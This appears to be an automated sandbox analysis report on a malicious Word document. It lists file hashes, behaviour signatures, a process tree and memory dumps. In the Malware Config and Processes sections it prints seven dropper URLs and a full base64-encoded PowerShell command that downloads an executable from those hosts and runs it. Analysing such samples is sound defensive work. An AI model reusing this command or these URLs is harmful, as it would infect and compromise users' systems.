Analysis

  • max time kernel
    120s
  • max time network
    125s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    06/06/2024, 01:16

General

  • Target

    99b145c3c1e66c8a9ab3b22cbcf90945_JaffaCakes118.doc

  • Size

    176KB

  • MD5

    99b145c3c1e66c8a9ab3b22cbcf90945

  • SHA1

    44b2024e31461ef5ff9a67fedad8d346bb693366

  • SHA256

    ee811cdfd43ecaeeeaa64d3ce8c80c91740d968333e17fec9cca54341338c471

  • SHA512

    8b9485ba8719ada06bdc1b3ee240ea006678d747cc84c7658c3a264b27f2f29610027fd02dfcd724093e7e408bb2fc75cc843d16127e80ecc2e9aed90f2a0c05

  • SSDEEP

    1536:trdi1Ir77zOH98Wj2gpngx+a9IGmLtHcZ:trfrzOH98ipgOFcZ

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://haikouweixun.com/jn5/Rbp/

exe.dropper

http://carolinacanullo.com/js/hllPT/

exe.dropper

http://megasolucoesti.com/R9KDq0O8w/B3KqPpe/

exe.dropper

http://www.insulution.org/wp-admin/swift/swift/y318LGM/

exe.dropper

http://petafilm.com/calendar/6kOpwrt/

exe.dropper

https://dev.contractdevs.co.uk/hbbny/Kv9/

exe.dropper

http://blog.penmman.com/wp-content/uploads/1ECbn9K/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\99b145c3c1e66c8a9ab3b22cbcf90945_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2660
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2480
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -encod JABOAGwAcAA3AGoAegBqAD0AKAAnAFUAegAnACsAKAAnAGwAaQAnACsAJwBwADYAYQAnACkAKQA7AC4AKAAnAG4AZQB3AC0AaQB0ACcAKwAnAGUAJwArACcAbQAnACkAIAAkAGUAbgB2ADoAVQBTAGUAcgBQAFIATwBmAGkAbABFAFwAWgAxAGgARgAxADMAQwBcAGoAUQA4AE0AXwA0ADUAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAFIAZQBjAHQATwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAYABlAGAAQwB1AGAAUgBpAHQAWQBQAFIAbwBUAG8AYwBgAE8AbAAiACAAPQAgACgAKAAnAHQAbABzADEAJwArACcAMgAnACkAKwAoACcALAAgAHQAJwArACcAbABzACcAKwAnADEAMQAnACkAKwAoACcALAAgAHQAJwArACcAbAAnACkAKwAnAHMAJwApADsAJABLADcAcAA3ADIAcAB6ACAAPQAgACgAJwBSACcAKwAnAHUAJwArACgAJwA2AG8AagByADEAaQAnACsAJwByACcAKQApADsAJABCAGQAbABqAHEAdwBiAD0AKAAoACcASgBwACcAKwAnAF8AJwApACsAKAAnADQAJwArACcAdQBrAHIAJwApACkAOwAkAFoAdABtAHEAdQBpAHcAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAUwBvACcAKwAnADUAJwArACgAJwBaACcAKwAnADEAaABmADEAJwArACcAMwAnACsAJwBjAFMAbwA1ACcAKwAnAEoAcQAnACsAJwA4AG0AXwA0ADUAUwAnACkAKwAnAG8ANQAnACkALgAiAHIAYABlAHAAbABgAEEAQwBlACIAKAAoACcAUwAnACsAJwBvADUAJwApACwAWwBzAHQAcgBJAE4ARwBdAFsAQwBIAGEAUgBdADkAMgApACkAKwAkAEsANwBwADcAMgBwAHoAKwAoACcALgAnACsAKAAnAGUAJwArACcAeABlACcAKQApADsAJABKAGEAcgA1AGcAdABwAD0AKAAoACcAUgBwADkAJwArACcAcQAyACcAKwAnAGMAJwApACsAJwB3ACcAKQA7ACQATABmADMAcABwAHcAZgA9ACYAKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AbwBiAGoAZQBjACcAKwAnAHQAJwApACAATgBlAFQALgBXAGUAYgBDAEwASQBlAE4AVAA7ACQASwBvAGUAMQBlADUAMgA9ACgAKAAnAGgAdAB0AHAAJwArACcAcwA6ACcAKQArACgAJwAvAC8AaAAnACsAJwBhACcAKwAnAGkAawBvAHUAJwApACsAKAAnAHcAZQBpAHgAJwArACcAdQAnACkAKwAoACcAbgAnACsAJwAuAGMAJwArACcAbwBtAC8AagAnACkAKwAoACcAbgAnACsAJwA1AC8AJwApACsAJwBSACcAKwAoACcAYgBwACcAKwAnAC8AJwApACsAKAAnACoAaAAnACsAJwB0ACcAKQArACgAJwB0AHAAJwArACcAOgAvAC8AYwBhAHIAJwArACcAbwBsAGkAJwApACsAJwBuACcAKwAoACcAYQBjACcAKwAnAGEAJwArACcAbgB1AGwAJwApACsAKAAnAGwAbwAnACsAJwAuACcAKQArACgAJwBjAG8AbQAnACsAJwAvAGoAJwArACcAcwAvAGgAJwArACcAbABsAFAAJwArACcAVAAvACoAaAB0ACcAKQArACcAdAAnACsAKAAnAHAAOgAnACsAJwAvAC8AbQAnACkAKwAnAGUAJwArACcAZwAnACsAKAAnAGEAJwArACcAcwBvACcAKwAnAGwAdQBjAG8AZQBzACcAKQArACcAdAAnACsAKAAnAGkALgBjAG8AbQAvAFIAJwArACcAOQBLACcAKQArACgAJwBEAHEAMABPADgAdwAnACsAJwAvAEIAJwArACcAMwAnACkAKwAoACcASwAnACsAJwBxAFAAcABlAC8AKgAnACkAKwAnAGgAJwArACgAJwB0AHQAcAAnACsAJwA6ACcAKQArACgAJwAvAC8AJwArACcAdwAnACkAKwAoACcAdwAnACsAJwB3AC4AJwApACsAKAAnAGkAJwArACcAbgBzAHUAbAAnACkAKwAnAHUAJwArACcAdABpACcAKwAoACcAbwAnACsAJwBuAC4AbwByAGcAJwApACsAJwAvAHcAJwArACcAcAAtACcAKwAnAGEAJwArACgAJwBkAG0AJwArACcAaQAnACkAKwAnAG4AJwArACcALwBzACcAKwAoACcAdwAnACsAJwBpAGYAJwApACsAKAAnAHQALwAnACsAJwBzAHcAaQBmAHQAJwApACsAJwAvACcAKwAoACcAeQAzADEAJwArACcAOABMACcAKQArACgAJwBHACcAKwAnAE0ALwAqAGgAdAB0AHAAJwArACcAOgAvACcAKwAnAC8AJwApACsAKAAnAHAAZQB0ACcAKwAnAGEAJwApACsAJwBmACcAKwAoACcAaQAnACsAJwBsAG0ALgAnACkAKwAnAGMAJwArACgAJwBvAG0ALwBjAGEAbABlAG4AZABhACcAKwAnAHIALwAnACsAJwA2ACcAKQArACcAawAnACsAKAAnAE8AcAB3AHIAdAAvACcAKwAnACoAJwArACcAaAAnACkAKwAnAHQAJwArACgAJwB0ACcAKwAnAHAAJwArACcAcwA6AC8ALwAnACkAKwAnAGQAJwArACcAZQAnACsAKAAnAHYALgBjAG8AbgB0AHIAJwArACcAYQBjAHQAZAAnACsAJwBlAHYAcwAuACcAKwAnAGMAbwAnACkAKwAnAC4AdQAnACsAKAAnAGsALwAnACsAJwBoACcAKQArACcAYgAnACsAKAAnAGIAbgB5AC8AJwArACcASwAnACsAJwB2ADkALwAnACsAJwAqACcAKQArACgAJwBoAHQAJwArACcAdABwACcAKQArACgAJwA6AC8ALwAnACsAJwBiAGwAJwApACsAJwBvACcAKwAnAGcALgAnACsAKAAnAHAAJwArACcAZQBuAG0AbQAnACsAJwBhAG4ALgBjAG8AJwArACcAbQAnACkAKwAoACcALwB3AHAALQBjACcAKwAnAG8AJwArACcAbgB0ACcAKQArACcAZQAnACsAKAAnAG4AdAAvACcAKwAnAHUAJwApACsAKAAnAHAAJwArACcAbABvACcAKQArACgAJwBhAGQAcwAvADEARQBDACcAKwAnAGIAbgA5ACcAKwAnAEsAJwApACsAJwAvACcAKQAuACIAcwBQAGAAbABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABLAHMAdwBmADUAcwBqAD0AKAAoACcARgBfAHMAdwAnACsAJwA1ACcAKQArACcANwBhACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEYAbgBvADUAZQBxAHcAIABpAG4AIAAkAEsAbwBlADEAZQA1ADIAKQB7AHQAcgB5AHsAJABMAGYAMwBwAHAAdwBmAC4AIgBEAG8AYAB3AG4ATABgAG8AYQBEAGYAaQBgAEwAZQAiACgAJABGAG4AbwA1AGUAcQB3ACwAIAAkAFoAdABtAHEAdQBpAHcAKQA7ACQAWABnAGQAegAyAHgAdgA9ACgAKAAnAFIAaAB2AGEAJwArACcAegB3ACcAKQArACcAegAnACkAOwBJAGYAIAAoACgALgAoACcARwBlACcAKwAnAHQALQBJAHQAZQBtACcAKQAgACQAWgB0AG0AcQB1AGkAdwApAC4AIgBsAGUAbgBgAGcAdABIACIAIAAtAGcAZQAgADIANQA4ADgAMAApACAAewAuACgAJwBJAG4AJwArACcAdgBvAGsAJwArACcAZQAtAEkAdAAnACsAJwBlAG0AJwApACgAJABaAHQAbQBxAHUAaQB3ACkAOwAkAFUAbwBjAHkAbABpADYAPQAoACcAVQB4ACcAKwAoACcAaABhADUAJwArACcAawA1ACcAKQApADsAYgByAGUAYQBrADsAJABKAHQAdgAwADgAcQAzAD0AKAAnAEIAJwArACgAJwByAHcAJwArACcAOQBpAGEAdgAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARgAzAGIAcwA5ADkAdwA9ACgAJwBHADkAJwArACcAMABhACcAKwAoACcAbwB0ACcAKwAnADUAJwApACkA
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2412

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

            Filesize

            20KB

            MD5

            ed62c4a7cef54074d4ceca6db72ec3e2

            SHA1

            0970b66b3018b2e751ec75581f57d6860ec757d4

            SHA256

            24502b77620b79a2b177e9d958015281ba1e9d58fa7691414df5b07d7f986fbe

            SHA512

            6d231c3beac537975c6c1c8c9230b359f5b0412f5007db51e53bee6a58bd4532062db3db6314b904854c831d1fdbb98efa44f338ef372d92207eaaf73bd170c9

          • memory/2412-40-0x000000001B300000-0x000000001B5E2000-memory.dmp

            Filesize

            2.9MB

          • memory/2412-41-0x0000000002050000-0x0000000002058000-memory.dmp

            Filesize

            32KB

          • memory/2660-11-0x00000000003A0000-0x00000000004A0000-memory.dmp

            Filesize

            1024KB

          • memory/2660-28-0x00000000003A0000-0x00000000004A0000-memory.dmp

            Filesize

            1024KB

          • memory/2660-8-0x0000000005D20000-0x0000000005E20000-memory.dmp

            Filesize

            1024KB

          • memory/2660-9-0x00000000003A0000-0x00000000004A0000-memory.dmp

            Filesize

            1024KB

          • memory/2660-10-0x00000000003A0000-0x00000000004A0000-memory.dmp

            Filesize

            1024KB

          • memory/2660-21-0x00000000003A0000-0x00000000004A0000-memory.dmp

            Filesize

            1024KB

          • memory/2660-23-0x00000000003A0000-0x00000000004A0000-memory.dmp

            Filesize

            1024KB

          • memory/2660-22-0x00000000003A0000-0x00000000004A0000-memory.dmp

            Filesize

            1024KB

          • memory/2660-20-0x00000000003A0000-0x00000000004A0000-memory.dmp

            Filesize

            1024KB

          • memory/2660-25-0x00000000003A0000-0x00000000004A0000-memory.dmp

            Filesize

            1024KB

          • memory/2660-18-0x00000000003A0000-0x00000000004A0000-memory.dmp

            Filesize

            1024KB

          • memory/2660-17-0x00000000003A0000-0x00000000004A0000-memory.dmp

            Filesize

            1024KB

          • memory/2660-16-0x00000000003A0000-0x00000000004A0000-memory.dmp

            Filesize

            1024KB

          • memory/2660-15-0x00000000003A0000-0x00000000004A0000-memory.dmp

            Filesize

            1024KB

          • memory/2660-14-0x00000000003A0000-0x00000000004A0000-memory.dmp

            Filesize

            1024KB

          • memory/2660-13-0x00000000003A0000-0x00000000004A0000-memory.dmp

            Filesize

            1024KB

          • memory/2660-12-0x00000000003A0000-0x00000000004A0000-memory.dmp

            Filesize

            1024KB

          • memory/2660-0-0x000000002FE81000-0x000000002FE82000-memory.dmp

            Filesize

            4KB

          • memory/2660-7-0x00000000003A0000-0x00000000004A0000-memory.dmp

            Filesize

            1024KB

          • memory/2660-26-0x00000000003A0000-0x00000000004A0000-memory.dmp

            Filesize

            1024KB

          • memory/2660-19-0x00000000003A0000-0x00000000004A0000-memory.dmp

            Filesize

            1024KB

          • memory/2660-24-0x00000000003A0000-0x00000000004A0000-memory.dmp

            Filesize

            1024KB

          • memory/2660-33-0x00000000003A0000-0x00000000004A0000-memory.dmp

            Filesize

            1024KB

          • memory/2660-32-0x00000000003A0000-0x00000000004A0000-memory.dmp

            Filesize

            1024KB

          • memory/2660-31-0x00000000003A0000-0x00000000004A0000-memory.dmp

            Filesize

            1024KB

          • memory/2660-30-0x00000000003A0000-0x00000000004A0000-memory.dmp

            Filesize

            1024KB

          • memory/2660-29-0x00000000003A0000-0x00000000004A0000-memory.dmp

            Filesize

            1024KB

          • memory/2660-27-0x00000000003A0000-0x00000000004A0000-memory.dmp

            Filesize

            1024KB

          • memory/2660-34-0x00000000003A0000-0x00000000004A0000-memory.dmp

            Filesize

            1024KB

          • memory/2660-6-0x00000000003A0000-0x00000000004A0000-memory.dmp

            Filesize

            1024KB

          • memory/2660-2-0x00000000712DD000-0x00000000712E8000-memory.dmp

            Filesize

            44KB

          • memory/2660-46-0x00000000712DD000-0x00000000712E8000-memory.dmp

            Filesize

            44KB

          • memory/2660-48-0x00000000003A0000-0x00000000004A0000-memory.dmp

            Filesize

            1024KB

          • memory/2660-49-0x00000000003A0000-0x00000000004A0000-memory.dmp

            Filesize

            1024KB

          • memory/2660-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

            Filesize

            64KB

          • memory/2660-68-0x000000005FFF0000-0x0000000060000000-memory.dmp

            Filesize

            64KB

          • memory/2660-69-0x00000000712DD000-0x00000000712E8000-memory.dmp

            Filesize

            44KB

          • memory/2660-70-0x00000000003A0000-0x00000000004A0000-memory.dmp

            Filesize

            1024KB